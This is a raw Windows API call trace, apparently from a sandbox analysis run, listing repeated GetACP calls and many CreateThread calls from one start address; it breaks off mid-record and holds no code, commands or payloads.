[0116.727] GetACP () returned 0x4e4 [0116.727] GetACP () returned 0x4e4 [0116.727] GetACP () returned 0x4e4 [0116.727] GetACP () returned 0x4e4 [0116.727] GetACP () returned 0x4e4 [0116.727] GetACP () returned 0x4e4 [0116.727] GetACP () returned 0x4e4 [0116.727] GetACP () returned 0x4e4 [0116.727] GetACP () returned 0x4e4 [0116.727] GetACP () returned 0x4e4 [0116.727] GetACP () returned 0x4e4 [0116.727] GetACP () returned 0x4e4 [0116.727] GetACP () returned 0x4e4 [0116.728] GetACP () returned 0x4e4 [0116.728] GetACP () returned 0x4e4 [0116.728] GetACP () returned 0x4e4 [0116.728] GetACP () returned 0x4e4 [0116.728] GetACP () returned 0x4e4 [0116.728] GetACP () returned 0x4e4 [0116.728] GetACP () returned 0x4e4 [0116.728] GetACP () returned 0x4e4 [0116.728] GetACP () returned 0x4e4 [0116.728] GetACP () returned 0x4e4 [0116.728] GetACP () returned 0x4e4 [0116.728] GetACP () returned 0x4e4 [0116.728] GetACP () returned 0x4e4 [0116.728] GetACP () returned 0x4e4 [0116.728] GetACP () returned 0x4e4 [0116.728] GetACP () returned 0x4e4 [0116.728] GetACP () returned 0x4e4 [0116.728] GetACP () returned 0x4e4 [0116.728] GetACP () returned 0x4e4 [0116.728] GetACP () returned 0x4e4 [0116.728] GetACP () returned 0x4e4 [0116.728] GetACP () returned 0x4e4 [0116.728] GetACP () returned 0x4e4 [0116.728] GetACP () returned 0x4e4 [0116.728] GetACP () returned 0x4e4 [0116.728] GetACP () returned 0x4e4 [0116.728] GetACP () returned 0x4e4 [0116.728] GetACP () returned 0x4e4 [0116.728] GetACP () returned 0x4e4 [0116.728] GetACP () returned 0x4e4 [0116.728] GetACP () returned 0x4e4 [0116.728] GetACP () returned 0x4e4 [0116.728] GetACP () returned 0x4e4 [0116.728] GetACP () returned 0x4e4 [0116.728] GetACP () returned 0x4e4 [0116.728] GetACP () returned 0x4e4 [0116.728] GetACP () returned 0x4e4 [0116.728] GetACP () returned 0x4e4 [0116.728] GetACP () returned 0x4e4 [0116.728] GetACP () returned 0x4e4 [0116.728] GetACP () returned 0x4e4 [0116.728] GetACP () returned 0x4e4 [0116.728] GetACP () returned 0x4e4 [0116.728] GetACP () returned 0x4e4 [0116.728] GetACP () returned 0x4e4 [0116.728] GetACP () returned 0x4e4 [0116.728] GetACP () returned 0x4e4 [0116.728] GetACP () returned 0x4e4 [0116.728] GetACP () returned 0x4e4 [0116.729] GetACP () returned 0x4e4 [0116.729] GetACP () returned 0x4e4 [0116.729] GetACP () returned 0x4e4 [0116.729] GetACP () returned 0x4e4 [0116.729] GetACP () returned 0x4e4 [0116.729] GetACP () returned 0x4e4 [0116.729] GetACP () returned 0x4e4 [0116.729] GetACP () returned 0x4e4 [0116.729] GetACP () returned 0x4e4 [0116.729] GetACP () returned 0x4e4 [0116.729] GetACP () returned 0x4e4 [0116.729] GetACP () returned 0x4e4 [0116.729] GetACP () returned 0x4e4 [0116.729] GetACP () returned 0x4e4 [0116.729] GetACP () returned 0x4e4 [0116.729] GetACP () returned 0x4e4 [0116.729] GetACP () returned 0x4e4 [0116.729] GetACP () returned 0x4e4 [0116.729] GetACP () returned 0x4e4 [0116.729] GetACP () returned 0x4e4 [0116.729] GetACP () returned 0x4e4 [0116.729] GetACP () returned 0x4e4 [0116.729] GetACP () returned 0x4e4 [0116.729] GetACP () returned 0x4e4 [0116.729] GetACP () returned 0x4e4 [0116.729] GetACP () returned 0x4e4 [0116.729] GetACP () returned 0x4e4 [0116.729] GetACP () returned 0x4e4 [0116.729] GetACP () returned 0x4e4 [0116.729] GetACP () returned 0x4e4 [0116.729] GetACP () returned 0x4e4 [0116.729] GetACP () returned 0x4e4 [0116.729] GetACP () returned 0x4e4 [0116.729] GetACP () returned 0x4e4 [0116.729] GetACP () returned 0x4e4 [0116.729] GetACP () returned 0x4e4 [0116.729] GetACP () returned 0x4e4 [0116.729] GetACP () returned 0x4e4 [0116.729] GetACP () returned 0x4e4 [0116.729] GetACP () returned 0x4e4 [0116.729] GetACP () returned 0x4e4 [0116.729] GetACP () returned 0x4e4 [0116.729] GetACP () returned 0x4e4 [0116.729] GetACP () returned 0x4e4 [0116.729] GetACP () returned 0x4e4 [0116.729] GetACP () returned 0x4e4 [0116.729] GetACP () returned 0x4e4 [0116.729] GetACP () returned 0x4e4 [0116.729] GetACP () returned 0x4e4 [0116.729] GetACP () returned 0x4e4 [0116.730] GetACP () returned 0x4e4 [0116.730] GetACP () returned 0x4e4 [0116.730] GetACP () returned 0x4e4 [0116.730] GetACP () returned 0x4e4 [0116.730] GetACP () returned 0x4e4 [0116.730] GetACP () returned 0x4e4 [0116.730] GetACP () returned 0x4e4 [0116.730] GetACP () returned 0x4e4 [0116.730] GetACP () returned 0x4e4 [0116.730] GetACP () returned 0x4e4 [0116.730] GetACP () returned 0x4e4 [0116.730] GetACP () returned 0x4e4 [0116.730] GetACP () returned 0x4e4 [0116.730] GetACP () returned 0x4e4 [0116.730] GetACP () returned 0x4e4 [0116.756] GetACP () returned 0x4e4 [0116.819] GetACP () returned 0x4e4 [0116.836] GetACP () returned 0x4e4 [0116.850] GetACP () returned 0x4e4 [0116.897] GetACP () returned 0x4e4 [0117.124] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x15a4) returned 0x8dc [0117.124] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x15a8) returned 0x8e0 [0117.124] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x15ac) returned 0x8e4 [0117.125] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x15b0) returned 0x8e8 [0117.125] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x15b4) returned 0x8ec [0117.126] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x15b8) returned 0x8f0 [0117.126] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x15bc) returned 0x8f4 [0117.126] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x15c0) returned 0x8f8 [0117.127] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x15c4) returned 0x8fc [0117.127] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x15c8) returned 0x900 [0117.128] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x15cc) returned 0x904 [0117.128] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x15d0) returned 0x908 [0117.128] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x15d4) returned 0x90c [0117.129] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x15d8) returned 0x910 [0117.129] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x15dc) returned 0x914 [0117.130] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x15e0) returned 0x918 [0117.130] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x15e4) returned 0x91c [0117.131] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x15e8) returned 0x920 [0117.156] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x15ec) returned 0x924 [0117.156] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x15f0) returned 0x928 [0117.211] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x15f4) returned 0x92c [0117.211] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x15f8) returned 0x930 [0117.212] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x15fc) returned 0x934 [0117.212] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x1600) returned 0x938 [0117.212] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x1604) returned 0x93c [0117.213] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x1608) returned 0x940 [0117.213] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x160c) returned 0x944 [0117.214] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x1610) returned 0x948 [0117.214] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x1614) returned 0x94c [0117.214] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x1618) returned 0x950 [0117.215] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x161c) returned 0x954 [0117.215] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x1620) returned 0x958 [0117.216] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x1624) returned 0x95c [0117.216] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x1628) returned 0x960 [0117.216] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x162c) returned 0x964 [0117.217] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x1630) returned 0x968 [0117.217] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x1634) returned 0x96c [0117.220] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x1638) returned 0x970 [0117.221] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x163c) returned 0x974 [0117.221] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x1640) returned 0x978 [0117.278] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x1644) returned 0x97c [0117.279] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x1648) returned 0x980 [0117.279] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x164c) returned 0x984 [0117.280] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x1650) returned 0x988 [0117.280] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x1654) returned 0x98c [0117.280] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x1658) returned 0x990 [0117.281] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x165c) returned 0x994 [0117.281] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x1660) returned 0x998 [0117.282] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x1664) returned 0x99c [0117.282] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x1668) returned 0x9a0 [0117.282] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x166c) returned 0x9a4 [0117.285] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x1670) returned 0x9a8 [0117.285] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x1674) returned 0x9ac [0117.285] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x1678) returned 0x9b0 [0117.286] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x167c) returned 0x9b4 [0117.286] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x1680) returned 0x9b8 [0117.287] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x1684) returned 0x9bc [0117.287] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x1688) returned 0x9c0 [0117.288] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x168c) returned 0x9c4 [0117.288] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x1690) returned 0x9c8 [0117.336] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x1694) returned 0x9cc [0117.337] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x1698) returned 0x9d0 [0117.337] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x169c) returned 0x9d4 [0117.338] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x16a0) returned 0x9d8 [0117.338] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x16a4) returned 0x9dc [0117.338] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x16a8) returned 0x9e0 [0117.339] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x16ac) returned 0x9e4 [0117.339] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x16b0) returned 0x9e8 [0117.340] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x16b4) returned 0x9ec [0117.340] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x16b8) returned 0x9f0 [0117.340] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x16bc) returned 0x9f4 [0117.341] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x16c0) returned 0x9f8 [0117.341] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x16c4) returned 0x9fc [0117.342] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x16c8) returned 0xa00 [0117.342] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x16cc) returned 0xa04 [0117.342] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x16d0) returned 0xa08 [0117.343] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x16d4) returned 0xa0c [0117.343] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x16d8) returned 0xa10 [0117.344] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x16dc) returned 0xa14 [0117.344] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x16e0) returned 0xa18 [0117.401] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x16e4) returned 0xa1c [0117.401] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x16e8) returned 0xa20 [0117.402] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x16ec) returned 0xa24 [0117.402] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x16f0) returned 0xa28 [0117.403] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x16f4) returned 0xa2c [0117.403] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x16f8) returned 0xa30 [0117.404] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x16fc) returned 0xa34 [0117.404] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x1700) returned 0xa38 [0117.404] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x1704) returned 0xa3c [0117.405] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x1708) returned 0xa40 [0117.405] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x170c) returned 0xa44 [0117.406] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x1710) returned 0xa48 [0117.406] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x1714) returned 0xa4c [0117.407] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x1718) returned 0xa50 [0117.407] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x171c) returned 0xa54 [0117.407] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x1720) returned 0xa58 [0117.408] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x1724) returned 0xa5c [0117.408] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x1728) returned 0xa60 [0117.409] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x51150fb, lpParameter=0x5139386, dwCreationFlags=0x0, lpThreadId=0x51391f8 | out: lpThreadId=0x51391f8*=0x172c) returned 0xa64 [0117.409] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, 